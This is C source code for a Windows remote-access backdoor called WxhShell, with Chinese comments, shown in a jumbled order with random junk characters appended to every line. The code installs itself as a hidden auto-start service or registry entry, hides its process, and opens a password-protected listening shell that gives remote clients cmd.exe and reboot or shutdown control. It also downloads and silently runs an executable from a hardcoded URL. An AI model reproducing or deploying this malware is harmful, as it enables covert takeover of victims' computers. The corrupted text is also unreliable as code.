    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @Z2np{X:  
    if(Boot(SHUTDOWN)) Gx6%Z$2n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Od)y4nr3~  
    else { gdA2u;q  
    closesocket(wsh); =/`]lY&  
    ExitThread(0); oeB'{bG  
    } cR_pC 9z  
    break; D}LM(s3li7  
    } OF+4Mq  
  // 获取shell R TpNxr{[  
  case 's': { P^Owgr=Y  
    CmdShell(wsh);  @O koT:  
    closesocket(wsh); oLh ,F"nB  
    ExitThread(0); 8-B7_GoJ+B  
    break; ;o9ixmT<-o  
  } \~"Ub"~I  
  // 退出 v"W*@7<`S  
  case 'x': { T7^;!;i`X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `Z8k#z'bN  
    CloseIt(wsh); 1P*hC<  
    break; S#?2E8  
    } XUA@f*  
  // 离开 -1RMyVx  
  case 'q': { zh*D2/ r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); FK593z  
    closesocket(wsh); ?-vWNv  
    WSACleanup(); [`t ;or  
    exit(1); C5Q!_x(  
    break; )iQ^HZ  
        } Dws) 4hH  
  } O ~6%Iz`  
  } .Zv~a&GE  
uVCH<6Cp  
  // 提示信息 Z|%h-~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _X~O 6e-!  
} (8)9S6  
  } BEvY&3%l  
?'z/S5&j  
  return; CV.|~K0O  
} %,_ZVgh0  
Xt<1b  
// shell模块句柄 lz~^*\ F  
int CmdShell(SOCKET sock) %DYh<U4N  
{ wlJi_)!  
STARTUPINFO si;  }o*A>le  
ZeroMemory(&si,sizeof(si)); <D~hhGb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T \uIXL?3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7I XWv-  
PROCESS_INFORMATION ProcessInfo; j2<+[h-  
char cmdline[]="cmd"; ~TEn +  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {zvaZY|K"  
  return 0; m^}|LB:5  
} Cl<!S`  
P:4"~ ]}  
// 自身启动模式 dAx ? ,  
int StartFromService(void) 8qg%>ZU4d  
{ C$TU TS  
typedef struct ou<3}g  
{ XGR2L DR  
  DWORD ExitStatus; t{jY@J T|  
  DWORD PebBaseAddress; b>OB}Is  
  DWORD AffinityMask; w\o6G7  
  DWORD BasePriority; = IRot  
  ULONG UniqueProcessId; ! 6%?VJB|b  
  ULONG InheritedFromUniqueProcessId; LSou]{R  
}   PROCESS_BASIC_INFORMATION; <VKJ+  
-je} PwT  
PROCNTQSIP NtQueryInformationProcess; L AasmQ  
b;UBvwY_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tfGs| x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j'z#V_S  
AAlc %d/9  
  HANDLE             hProcess; x2"1,1%H7  
  PROCESS_BASIC_INFORMATION pbi; rM,e$  
CF{b Yf^%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &/]en|f"  
  if(NULL == hInst ) return 0; vS>'LX  
>X$JeME3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'NhQBk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E=ijt3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); | 6JKB'  
p|t" 4HQ  
  if (!NtQueryInformationProcess) return 0; `xLsD}32  
@/.# /  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ["EXSptB  
  if(!hProcess) return 0; 7sxX?u  
'Z4}O_5_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]u|v7}I4  
:@[\(:  
  CloseHandle(hProcess); E{u6<B*  
EVX3uC}{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ju{Y6XJ)  
if(hProcess==NULL) return 0; B-rE8 \  
?[Lk]A&"L2  
HMODULE hMod; GpeW<% \P  
char procName[255]; hT X[W%K  
unsigned long cbNeeded; Bdt6 w(`^  
ls^Z"9P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); = UH3.  
[ ulub|  
  CloseHandle(hProcess); ][$I~ nRf  
5 3%>)gk:  
if(strstr(procName,"services")) return 1; // 以服务启动 z!"vez  
4|`>}Nu  
  return 0; // 注册表启动 +twoUn{#  
} ?IVJ#6[  
U"k$qZ[  
// 主模块 -+rzc&h  
int StartWxhshell(LPSTR lpCmdLine) E{|B&6$[}  
{ H`CID*Ji  
  SOCKET wsl; (?|M'gZ  
BOOL val=TRUE; p"ytt|H  
  int port=0; p0@^1  
  struct sockaddr_in door; GEWjQ;g  
ApCU|*r)  
  if(wscfg.ws_autoins) Install(); xak)YOLRV  
}L_YpG7  
port=atoi(lpCmdLine); xQu|D>kv87  
JI5o~; }m  
if(port<=0) port=wscfg.ws_port; t@qf/1  
 rL{R=0  
  WSADATA data; N y'\Q"Y]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .T'@P7Hdx  
CQ!pt@|d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k7CKl;Fck  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ' P?h?w^T  
  door.sin_family = AF_INET; faQmkO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !RI _Uph  
  door.sin_port = htons(port); rm[C{Pn  
>$4# G)s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $d?W1D<A  
closesocket(wsl); G\@pg;0|y  
return 1; ljKIxSvCFp  
} m-Eh0Zl>Z  
dz_S6o ]  
  if(listen(wsl,2) == INVALID_SOCKET) { R*[sO*h\k  
closesocket(wsl); =fcg4h5(  
return 1; _ox+5?>  
} b7QE  
  Wxhshell(wsl); Za:j;u Y  
  WSACleanup(); gg/`{  
cpQ5F;FI  
return 0; h[mT4 e3c  
bF"l0 jS  
} ``-N2U5  
v-1}&K  
// 以NT服务方式启动 R=z])  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9d drtJ]  
{ XnyN*}8  
DWORD   status = 0; QKG3>lU  
  DWORD   specificError = 0xfffffff; 3Qy@^"  
CvoFt=c$jE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; npdljLN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 928_e)V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ue_wuZi  
  serviceStatus.dwWin32ExitCode     = 0; I^y<W%Et  
  serviceStatus.dwServiceSpecificExitCode = 0; YWFE*wQ!  
  serviceStatus.dwCheckPoint       = 0; ^jL '*&l  
  serviceStatus.dwWaitHint       = 0; R BYhU55B  
|6E_N5~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }Pcm'o_wT  
  if (hServiceStatusHandle==0) return; Og\k5.! ,  
;k<dp7^  
status = GetLastError(); 80=0S^gEZ  
  if (status!=NO_ERROR) j6m;03<|  
{ K zWo}tT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'R 7 \  
    serviceStatus.dwCheckPoint       = 0; uz8LF47@:-  
    serviceStatus.dwWaitHint       = 0; n#(pT3&  
    serviceStatus.dwWin32ExitCode     = status; V(7,N(  
    serviceStatus.dwServiceSpecificExitCode = specificError; JVc{vSa!rm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :"%/u9<A  
    return; G|wtl(}3  
  } 2cMC ZuO  
* ,hhX psa  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NAR6q{c  
  serviceStatus.dwCheckPoint       = 0; :viW  
  serviceStatus.dwWaitHint       = 0; R;< q<i_l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J&xZN8jW   
} s2<!Zb4  
Zy}tZRG  
// 处理NT服务事件,比如:启动、停止 Un6R)MVT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2JfSi2T  
{ M>AxVL  
switch(fdwControl) 7L!JP:v   
{ 9d5$cV  
case SERVICE_CONTROL_STOP: Tc WCr  
  serviceStatus.dwWin32ExitCode = 0; /DQYlNa  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gEh/m.L7  
  serviceStatus.dwCheckPoint   = 0; da$FY7  
  serviceStatus.dwWaitHint     = 0; I3t5S;_8  
  { #D`@G8~(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XM$ ~HG  
  } >US*7m }  
  return; $L/`nd  
case SERVICE_CONTROL_PAUSE: :{7+[LcH7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /R# zu_i  
  break; ">H*InF  
case SERVICE_CONTROL_CONTINUE: {9x_E {  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 86ao{l6lC  
  break; \x<8   
case SERVICE_CONTROL_INTERROGATE: g)X3:=['  
  break; (V{/8%mWc  
}; 8Y($ F2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eADCT  
} 8w0~2-v.?V  
LP vp (1  
// 标准应用程序主函数 EZUaYp ~M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fQ<sq0' e\  
{ RZa/la*  
v3-/ [-XB:  
// 获取操作系统版本 /$~1e7 W  
OsIsNt=GetOsVer(); R N$vKJk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qmrT d G  
_#8hgwf>  
  // 从命令行安装 aacy5E  
  if(strpbrk(lpCmdLine,"iI")) Install(); pjeNBSu6  
sZ `Tv[  
  // 下载执行文件 n$i X6Cd  
if(wscfg.ws_downexe) { =?i?-6M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &W<7!U:2m  
  WinExec(wscfg.ws_filenam,SW_HIDE); #AD_EN9  
} T+Oqd\05.+  
d ^bSV4  
if(!OsIsNt) { ho\1[xS  
// 如果时win9x,隐藏进程并且设置为注册表启动 fM= o?w6v  
HideProc(); M xE]EJZ  
StartWxhshell(lpCmdLine); `|t,Uc|7!  
} xl}rdnf}  
else S=@+qcI  
  if(StartFromService())  }k^uup*{  
  // 以服务方式启动 p Cz6[*kC  
  StartServiceCtrlDispatcher(DispatchTable); ]J7qsMw  
else pBsb>wvej  
  // 普通方式启动 dY1t3@E  
  StartWxhshell(lpCmdLine); :qzg?\(  
VPMu)1={:p  
return 0; q<YM,%mgj  
} B%F]K<  
L}Z.FqJ  
CoN[Yf3\  
74%vNKzc~  
=========================================== ~1G^IZ6  
"[) G{VzT  
egoR])2>  
"{0G,tdA  
i ;FKnK  
THrLX;I  
" ,KY;NbL-Jp  
k8gH#ENNK  
#include <stdio.h> E|O&bUMh  
#include <string.h> At7!Pas#@g  
#include <windows.h> omG2p  
#include <winsock2.h> &Vlno*  
#include <winsvc.h> )V1XL   
#include <urlmon.h> t@%w:*&  
^~4]"J};M  
#pragma comment (lib, "Ws2_32.lib") N?\X 2J1  
#pragma comment (lib, "urlmon.lib") 5P,&VB8L  
V?mP7  
#define MAX_USER   100 // 最大客户端连接数 bWFa{W5!  
#define BUF_SOCK   200 // sock buffer ?ANW I8'_j  
#define KEY_BUFF   255 // 输入 buffer aV;|2}q "  
sY ]J!"  
#define REBOOT     0   // 重启 2yN!yIPR  
#define SHUTDOWN   1   // 关机 UHl3/m7g  
!0{SVsc)  
#define DEF_PORT   5000 // 监听端口 C,|&  
XC<fNK  
#define REG_LEN     16   // 注册表键长度 >"W^|2R  
#define SVC_LEN     80   // NT服务名长度 )nm+_U  
K?.~}82c  
// 从dll定义API vs@d)$N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ETDWG_H |  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fNN l1Vls  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0=ws)@[I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o;8$#gyNY  
Ev fvU:z  
// wxhshell配置信息 x ;DoQx  
struct WSCFG { *>m[ZJd%=  
  int ws_port;         // 监听端口 ~Ztn(1N  
  char ws_passstr[REG_LEN]; // 口令 +k`L8@a3&  
  int ws_autoins;       // 安装标记, 1=yes 0=no [ &TF]az  
  char ws_regname[REG_LEN]; // 注册表键名 Qz(D1>5I?  
  char ws_svcname[REG_LEN]; // 服务名 )*KMU?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j0l,1=^>l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z{XB_j6\=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @@Ib^sB%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *yZ6"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G(E1c"?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `YOYC  
 5%-{r&  
}; }7.A~h  
`d <`>  
// default Wxhshell configuration Q{/z>-X\x  
struct WSCFG wscfg={DEF_PORT, t=%zY~P  
    "xuhuanlingzhe", j0l{Mc5  
    1, J 6 ~Sr  
    "Wxhshell", tU4#7b:Y  
    "Wxhshell", aCZ0-X?c  
            "WxhShell Service", `>"#d ?,  
    "Wrsky Windows CmdShell Service", V^7.@BeT  
    "Please Input Your Password: ", PT>b%7Of  
  1, 8h] TI_  
  "http://www.wrsky.com/wxhshell.exe", f&-`+V}U  
  "Wxhshell.exe" 1]xmOx[mb  
    }; n_kwtWX(  
\8CCa(H  
// 消息定义模块 .@H:P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pGie!2T E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '54\!yQ<{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /-M:6  
char *msg_ws_ext="\n\rExit."; Dk  `&tr  
char *msg_ws_end="\n\rQuit."; Ejk;(rxI  
char *msg_ws_boot="\n\rReboot..."; /&gg].&2?  
char *msg_ws_poff="\n\rShutdown..."; ~WA@YjQ]  
char *msg_ws_down="\n\rSave to "; tZ]gVgZg  
rPk|2l,E,3  
char *msg_ws_err="\n\rErr!"; }Rh\JDiQ  
char *msg_ws_ok="\n\rOK!"; z5@XFaQ  
VEps|d3,,  
char ExeFile[MAX_PATH]; |\(uO|)ju  
int nUser = 0; [ycX)iM  
HANDLE handles[MAX_USER]; |/,S NE  
int OsIsNt; "uH>S+%|b  
(~~m8VJ>  
SERVICE_STATUS       serviceStatus; w:\} B'u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !5,C"r  
~RR!~q  
// 函数声明 (T1< (YZ  
int Install(void); &2ED<%hH`  
int Uninstall(void); J v}  
int DownloadFile(char *sURL, SOCKET wsh); {!Qu(%  
int Boot(int flag); ^4sfVpD2!  
void HideProc(void); mSYjc)z  
int GetOsVer(void); M`Y^hDl6  
int Wxhshell(SOCKET wsl); Nj9A-*0g6N  
void TalkWithClient(void *cs); FC0fe_U(F  
int CmdShell(SOCKET sock); !Fl'?Kz  
int StartFromService(void); g *$2qKm  
int StartWxhshell(LPSTR lpCmdLine); 12`u[O}\}-  
>axeUd+@i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3Gs\Q{O:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3?o4  
KVZB`c$<t  
// 数据结构和表定义 R3B+vLGX  
SERVICE_TABLE_ENTRY DispatchTable[] = }Uy QGRZ=  
{ ZthT('"a  
{wscfg.ws_svcname, NTServiceMain}, JBY.er`6C  
{NULL, NULL} %`]+sg[i  
}; qzW3MlD  
7(@xk_Pl  
// 自我安装 yTZev|ej@  
int Install(void) D!`;vZ\>  
{ ,X!6|l8  
  char svExeFile[MAX_PATH]; Q}#Je.;  
  HKEY key; |=;hQ2HyF  
  strcpy(svExeFile,ExeFile); PVb[E03  
G+dq */  
// 如果是win9x系统,修改注册表设为自启动 sq$v6x sl  
if(!OsIsNt) { DI\=udN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3)G~ud  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]\*^G@HA2  
  RegCloseKey(key); 3d}v?q78  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NQ{(G8x9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )oIh?-WL  
  RegCloseKey(key); v3r3$(Hr  
  return 0; ?V6,>e_+  
    } #E]K*mE'  
  } zQ,rw[C"W  
} R4p Pt  
else { ]-gyXE1.r  
`7/(sX.  
// 如果是NT以上系统,安装为系统服务 KF(H >gs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J&8KIOz14Z  
if (schSCManager!=0) oC5 h-4~  
{ fJS:46  
  SC_HANDLE schService = CreateService ^xe+(83S2?  
  ( @!`__>K  
  schSCManager, T;6MUmyC  
  wscfg.ws_svcname, 'AA9F$Dz  
  wscfg.ws_svcdisp, atyvo0fNd  
  SERVICE_ALL_ACCESS, J?O0ixU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z- feMM  
  SERVICE_AUTO_START, C8m9H8Qm  
  SERVICE_ERROR_NORMAL, b,'O|s]"Sc  
  svExeFile, 01A{\O1$j  
  NULL, 9q'&tU'a=c  
  NULL, v#,queGi  
  NULL, k8D _  
  NULL, K1@ Pt}  
  NULL </[.1&S+\  
  ); rUI?{CV  
  if (schService!=0) /3,/j)`a  
  { ovKM;cRs/  
  CloseServiceHandle(schService); ABCm2$<  
  CloseServiceHandle(schSCManager); jR%*,IeB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gG?@_ie  
  strcat(svExeFile,wscfg.ws_svcname); 7P1Pk?pxy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4)gG_k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x7S\-<8  
  RegCloseKey(key); M=iTwK  
  return 0; @j|E"VYY  
    } &5 "!  0  
  } 3^/w`(-{@  
  CloseServiceHandle(schSCManager); .\ Ijq!  
} =UKxf  
} _[HZ[9c!  
vhBW1/w&F  
return 1; G^.N$wcv  
} IR-n:z  
I!hh_  
// 自我卸载 [lzd'  
int Uninstall(void) ,iV%{*p]  
{ @f-:C+(Nsg  
  HKEY key; 4p"'ox#  
"<iH8MzZ  
if(!OsIsNt) { *qzdt^[ xo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zxn|]P bS  
  RegDeleteValue(key,wscfg.ws_regname); ep6+YK:cn  
  RegCloseKey(key); flCT]ZR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _ /1/{  
  RegDeleteValue(key,wscfg.ws_regname); $yx\2   
  RegCloseKey(key); 6ld4'oM  
  return 0; ">[#Ops-;$  
  } *D|a`R!Y  
} %n|  
} _wKwiJs  
else { Jxvh;  
PK+sGV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ${T/b(NM  
if (schSCManager!=0) @;egnXxF<  
{ 6*Z7JiQ 0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .lcp5D[(  
  if (schService!=0) t 'eaR-  
  { Wk[a|>  
  if(DeleteService(schService)!=0) { BgXZr,?  
  CloseServiceHandle(schService); cC-8.2  
  CloseServiceHandle(schSCManager); AlQhKL}|s  
  return 0; mG1~rI  
  } C~2!@<y  
  CloseServiceHandle(schService); p]kEH\ sh  
  } @_do<'a  
  CloseServiceHandle(schSCManager); -lo?16w  
} 9"P+K.%  
} M+%Xq0`T  
6 - 3?&+  
return 1; d]0:r]e  
} w;,34qbf  
T?RY~GA  
// 从指定url下载文件 it}h8:^<  
int DownloadFile(char *sURL, SOCKET wsh) o898pg  
{ 27!F B@k-  
  HRESULT hr; {4S UG o>  
char seps[]= "/"; f\ P0%  
char *token; k{2Gq1S{  
char *file; 33~MP;  
char myURL[MAX_PATH]; /"e@rnn  
char myFILE[MAX_PATH]; s*PKr6X+  
<1*kXTN(  
strcpy(myURL,sURL); "}71z  
  token=strtok(myURL,seps); =f~<*wQ  
  while(token!=NULL) aBC5?V*e%  
  { 4v_Ac;2m&  
    file=token; lrE"phYk  
  token=strtok(NULL,seps); 7n5gXiI"  
  } 9G[ DuYJI  
h~#iGs  
GetCurrentDirectory(MAX_PATH,myFILE); &@6xu{o  
strcat(myFILE, "\\"); Ll KO(Q{"  
strcat(myFILE, file); 4 {M   
  send(wsh,myFILE,strlen(myFILE),0); 5{HF'1XgZ*  
send(wsh,"...",3,0); H q6%$!q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]$g07 7o  
  if(hr==S_OK) @ZISv'F  
return 0; dqB,i9--  
else AGFA;X  
return 1; obvE m[x!Z  
BvP\c_  
} <6(0ZO%,C!  
0BXr[%{`  
// 系统电源模块 q|ce7HnK  
int Boot(int flag) atZe`0  
{ 2.Z#\6Vj  
  HANDLE hToken; ^;F/^ _  
  TOKEN_PRIVILEGES tkp; {<{VJGY7T  
& R_?6*n  
  if(OsIsNt) { 9Y3"V3EZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qU#A,%kcV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .'`aX 7{\  
    tkp.PrivilegeCount = 1; 0PkX-.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i`+w.zJOH8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qiet<F  
if(flag==REBOOT) { 2B4.o*Q\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TyV~2pc N  
  return 0; L!:NL#M  
} :|(YlNUv  
else { k<1i.rh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2{j$1EdI@-  
  return 0; L]MWdD  
} K^!#;,0  
  } $]LS!@ Rm  
  else { 0m3hL~0(a  
if(flag==REBOOT) { Zv}F?4T~:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) brTNwRze  
  return 0; H|aFs.SEQ  
} b"$?(Y  
else { -. *E<%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CWeQv9h]X  
  return 0; .'=S1|_(  
} Sqi9'-%m  
} 7@"X?uo%o  
Il&F C  
return 1; a8TtItN  
} &S(>L[)9  
9&r]k8K  
// win9x进程隐藏模块 IN/$b^Um  
void HideProc(void) 4Wgzp51Aq!  
{ 9"^ib9M  
Z=8&`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6-\Mf:%B  
  if ( hKernel != NULL ) ~+{*KPiD  
  { F9LKO3Rh#u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =+_nVO*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4AL,=C3  
    FreeLibrary(hKernel); PV\J] |d,%  
  } {- I+  
j)/Vtf  
return; oOprzxf"+Z  
} *m]Y6  
{*;8`+R&  
// 获取操作系统版本 !%$[p'  
int GetOsVer(void) bYLYJ`hH<R  
{ x"Ll/E)\v]  
  OSVERSIONINFO winfo; Pt85q?->  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _xAru9=n^  
  GetVersionEx(&winfo); kLzjK]4*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xp1/@Pw?  
  return 1; KGDN)@D  
  else (LsVd2AbR  
  return 0; d_(>:|o h  
} W!HjO;  
(ORbhjl  
// 客户端句柄模块 EPW4 h/I  
int Wxhshell(SOCKET wsl) hRXnig{;3  
{ +F NGRL  
  SOCKET wsh; ;uAh)|;S#  
  struct sockaddr_in client; >e;jGk?-  
  DWORD myID; ZN H-0mk  
1 K}gX>F  
  while(nUser<MAX_USER) ~Q=;L>Qd  
{ 97 SS0J  
  int nSize=sizeof(client); 5@l5exuG*m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {$EX :ID  
  if(wsh==INVALID_SOCKET) return 1; Y 22Ai  
 pF6u3]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WCd: (8B  
if(handles[nUser]==0) F~=kMQO  
  closesocket(wsh); D)G oWt  
else \\EX'L  
  nUser++; 9Avj\G  
  } Z5'^Hj1,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a4uy}@9z  
1VYH:uGuAU  
  return 0; $MvKwQ/  
} D0 k ,8|  
kj2qX9 Ms  
// 关闭 socket  R<1%Gdz  
void CloseIt(SOCKET wsh) waz5+l28  
{ d(}? \|  
closesocket(wsh); Ag T)J  
nUser--; Mh3.GpS  
ExitThread(0); ?IeBo8  
} t$qIJt$  
PJ:!O?KVq  
// 客户端请求句柄 j+'ua=T3  
void TalkWithClient(void *cs) O: I]v@  
{ *# <%04f  
Ib{#dhV  
  SOCKET wsh=(SOCKET)cs; 8Mtd}{Fw*  
  char pwd[SVC_LEN]; hTO5*5]0zP  
  char cmd[KEY_BUFF]; m^BXLG:b  
char chr[1]; 5vD\?,f E  
int i,j; h)sT37  
'r=2f6G>cP  
  while (nUser < MAX_USER) { W8`6O2  
hwk] ;6[  
if(wscfg.ws_passstr) { M%54FsV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W`LG.`JW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \="U|LzG  
  //ZeroMemory(pwd,KEY_BUFF); ^+%bh/2_W  
      i=0; r[):'ys,C  
  while(i<SVC_LEN) { =M:Po0?0E  
fiC0'4.,  
  // 设置超时 ?v,c)  
  fd_set FdRead; tMdSdJ8  
  struct timeval TimeOut; :icpPv  
  FD_ZERO(&FdRead); 7Z +Fjy-B  
  FD_SET(wsh,&FdRead); JkR%o #>5  
  TimeOut.tv_sec=8; noaR3)  
  TimeOut.tv_usec=0; MYV3</Xj*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1 39T*0C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {pi_yr3  
p".wqg*W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q%k&O9C2]  
  pwd=chr[0]; ;*K;)C  
  if(chr[0]==0xd || chr[0]==0xa) { XU<owk  
  pwd=0; h('5x,G%  
  break; !m=Js"  
  } GYy8kp84  
  i++; w9u|E46  
    } ,c&t#mu*0  
K_t >T)K  
  // 如果是非法用户,关闭 socket B]hRYU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r]}6iF.  
} <%^WZ:c  
~%tVb c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g_PP 9S_?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o S{hv:)>  
b!MN QGs  
while(1) { 1Cc91  
/xSJljexz  
  ZeroMemory(cmd,KEY_BUFF); {B#w9>'b  
=MJRQ V67  
      // 自动支持客户端 telnet标准   KN@ [hb7%  
  j=0; s hq +  
  while(j<KEY_BUFF) { ^^k9Acd~p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F@z%y'5 Z*  
  cmd[j]=chr[0]; \N0wf-qa=  
  if(chr[0]==0xa || chr[0]==0xd) { |0p@'X1  
  cmd[j]=0; RwK6u-u#9  
  break; b&,Z mDJh  
  } .|DrXJ \c  
  j++; 5m@'( ] j  
    } ?~sNu k  
;j~%11  
  // 下载文件 +p _?ekV\  
  if(strstr(cmd,"http://")) { Q6 o1^s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1foG*   
  if(DownloadFile(cmd,wsh)) :SwA) (1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H #X*OJ  
  else v:!TqfI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uZf 6W<a  
  } i,;a( Sy4  
